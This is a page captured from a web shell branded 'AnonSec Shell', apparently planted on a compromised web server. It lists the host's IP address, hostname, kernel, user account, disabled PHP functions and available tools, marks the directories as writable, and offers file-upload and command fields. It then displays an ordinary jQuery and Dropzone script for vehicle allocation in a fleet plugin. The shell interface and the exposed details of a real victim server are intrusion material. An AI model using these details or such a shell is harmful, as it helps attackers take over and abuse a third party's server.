AnonSec Shell
Server IP : 162.214.74.102  /  Your IP : 216.73.217.80
Web Server : Apache
System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64
User : lrsys ( 1015)
PHP Version : 5.6.40
Disable Function : exec,passthru,shell_exec,system
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/lrsys/public_html/lrsys_apps/leve/application/plugins/module_fleet/assets/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/lrsys/public_html/lrsys_apps/leve/application/plugins/module_fleet/assets/js/alocation_in.js
/* global bootbox, ib_date_format_picker */

$(document).ready(function () {
    $('.clockpicker').clockpicker({
        donetext: 'Done'
    });

     
    $("#emsg").hide();
    $(".progress").hide();
    var _url = $("#_url").val();
   
    Dropzone.autoDiscover = false;

//////////////////////////////FIM, VEHICLE TYPES

    //select2
    $(".select2").select2({
            theme: "bootstrap"
            });
    //amount para valor numérico        
  //  $('.amount').autoNumeric('init');
    
////////////////////////SUBMIT FORM

    $("#submit").click(function (e) {
        e.preventDefault();
        $('#ibox_form').block({message: null});
        var _url = $("#_url").val();
        url_post = 'module_fleet/alocation_vehicle/in-post/';
        $.post(_url + url_post, $("#rform").serialize())
                .done(function (data) {
                    setTimeout(function () {
                        var _url = $("#_url").val();
                        if ($.isNumeric(data)) {
                            var body = $("html, body");
                            body.animate({scrollTop: 0}, '1000', 'swing');
                            window.location = _url + 'module_fleet/alocation_vehicle/list/';
                        } else {
                             var body = $("html, body");
                            body.animate({scrollTop: 0}, '1000', 'swing');
                            $('#ibox_form').unblock();
                            $("#emsgbody").html(data);
                            $("#emsg").show("slow");
                           
                        }
                    }, 2000);
                });
    });
    //////////////////dropzone
        var ib_file = new Dropzone("#upload_container",
            {
                url: _url + "module_fleet/alocation_vehicle/attach/" + $("#id").val(),
                maxFiles: 100,
                acceptedFiles: "image/*",
                //      autoProcessQueue: false,
                addRemoveLinks: true,
                dictRemoveFile: _L["Remove"],
                dictCancelUpload: _L["Cancel"],
                removedfile: function (file) {
                    var id = file.id;
                    $.ajax({
                        type: 'POST',
                        url: _url + 'module_fleet/alocation_vehicle/delete-file/',
                        data: "name=" + file.name,
                        dataType: 'html'
                    }).done(function (data) {
                        //se ok remove
                        //remove com uma vírgula caso encontre o id
                        var obj = JSON.parse(data);
                        toastr.success(obj.msg);
                        if (obj.status == 'OK') {
                            var _ref;
                            return (_ref = file.previewElement) != null ? _ref.parentNode.removeChild(file.previewElement) : void 0;
                        }
                    });


                }
            }
    );


//    ib_file.on("sending", function () {
//        $ib_form_submit.prop('disabled', true);
//    });

    ib_file.on("success", function (file, response) {
//        $ib_form_submit.prop('disabled', false);
        upload_resp = response;
        if (upload_resp.success == 'Yes') {
            $('#images').val(function (i, val) {
                return val + (!val ? '' : ',') + upload_resp.id;
            });
          //  file.id = upload_resp.id;
            toastr.success(upload_resp.msg);
        } else {
            toastr.error(upload_resp.msg);
            ib_file.removeFile(file);
        }

    });
    
    //Add existing files into dropzone arquivos existentes
    for (i = 0; i < existingFiles.length; i++) {
        ib_file.emit("addedfile", existingFiles[i]);
        ib_file.createThumbnailFromUrl(existingFiles[i], existingFiles[i].url);
        ib_file.emit("complete", existingFiles[i]);
    }
    /////////////////////////FIM IMAGES

});

Anon7 - 2022
AnonSec Team